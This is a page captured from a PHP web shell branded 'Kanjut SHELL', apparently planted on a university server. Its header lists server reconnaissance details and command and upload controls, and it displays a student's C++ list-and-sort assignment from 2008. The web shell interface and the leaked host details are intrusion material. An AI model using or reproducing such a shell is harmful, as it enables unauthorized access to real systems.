Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.33.244
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/bafreeman/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bafreeman/assign8b.cpp
//      File name:      assign8b.cpp
//      Author:         Benjamin Freeman
//      Instructor:     Dr. John Wang
//      Due date:       Mon., Apr. 21, 2008
//      Compilation:    g++ assign8b.cpp -o assign8b.out
//      Execution:      ./assign8b.out
//
//      Goal: This program will allow the user to perform char, int, or (single) string operations.

#include <iostream>
using namespace std;


void menu();
void menuForList ();
template<class T> void process();
const int MAX = 100;

template <class T>
class List
{ 	
	int length;
	T data[MAX];
public:
	List () 
	{ 	length = 0; }
	int Length ( ) const
	{ 	return length; }
	void Insert ( T item ) 
	{ 	data[ length ] = item;
		length ++;
	}
	void Print() const
	{       for(int k=0; k<length; k++)
                cout<< "\t" << data[k]  << endl;
	}
	bool IsFull ( ) const
	{ 	return ( length == MAX ); }
	bool IsEmpty ( ) const
	{	 return ( length == 0 ); }
	bool IsPresent ( T item ) const
	{
		bool done = false;
		for ( int k=0; k<length && ! done; k++ )
			if ( data[k] == item )
				done = true;
		return done;
	}
	void SelSort ()
	{
                T temp;
                int pC;
                int mI;
                for(pC = 0; pC<length-1; pC++)
                {  
                        mI=pC;
                        for(int k = pC+1; k<length; k++)
                        { 
                                if(data[mI] > data[k])
                                        mI=k;
                        }
                        temp = data[mI];
                        
                        data[mI] = data[pC];
                       
                        data[pC] = temp;
                }
	}
        
};

int main()
{
	char ch;

	menu();
	cin >> ch;

	while(tolower(ch) != 'q')
	{
		system("clear");
		switch (tolower(ch))
		{	case 'i':	
				cout << "\n\n\tMenu for Integers: ";
				process<int>();
				break;
			case 'c':
				cout << "\n\n\tMenu for Characters: ";
				process<char>();	
				break;
			case 's':
                                cout << "\n\n\n\tMenu for Words: ";
                                process<string>();
				break;
			default:
				cout << "\n\tInvalid\n\n";
		}
		menu();
		cin >> ch;
	}

	cout << "\n\n\tBye, thanks for using the program.\n\n";
	return 0;
}

//---------------------------------
template<class T>
void process()
{	char selection;
	List<T> z;
	T item;

	menu2 ();
	cin >> selection;
	while(tolower(selection) != 'q')
	{
		switch (tolower(selection))
		{
			case 'i':	
				cout << "\tInput an item: ";
				cin >> item;
				z.Insert(item);	break;
			case 'f':
				cout << "\tInput an item to be found: ";
				cin >> item;
				if ( z.IsPresent(item) )
					cout << "\t" << item << " is in the list.\n";
				else
					cout << "\t" << item << " isn't in the list.\n";
				break;
			case 's':
				cout << "\n\tThe list is: " << endl;
				z.SelSort();
				z.Print();
				break;
			case 'p':
				cout << "\n\tThe list is: \n";
				z.Print();	
				break;
			default:
				cout << "\n\tInvalid. Try again ...\n\n";
		}
		menu2 ();
	        cin >> selection;
	}
	system("clear");
}

//---------------------------------
void menu()
{
	cout << "\n\n\t--- Welcolme to the Storage Program ---\n";
	cout << "\t=========================\n\n";
	cout << "\tI\tIntegers\n";
	cout << "\tC\tCharacters\n";
	cout << "\tS\tWords\n";
	cout << "\tQ\tQuit\n";
	cout << "\t--------------------\n";
	cout << "\n\tChoose Operation: ";
}

void menu2 ()
{	
	cout << "\n\t==========================================\n\n" <<endl;	 
	cout << "\tI\tto insert an item to the list.\n";
	cout << "\tF\tto find an item.\n";
	cout << "\tS\tto sort the list in ascending order.\n";
	cout << "\tP\tto print the list.\n";
	cout << "\tQ\tto quit the operation.\n";
	cout << "\t\n\tChoose Operation:  ";
} 

Stv3n404 - 2023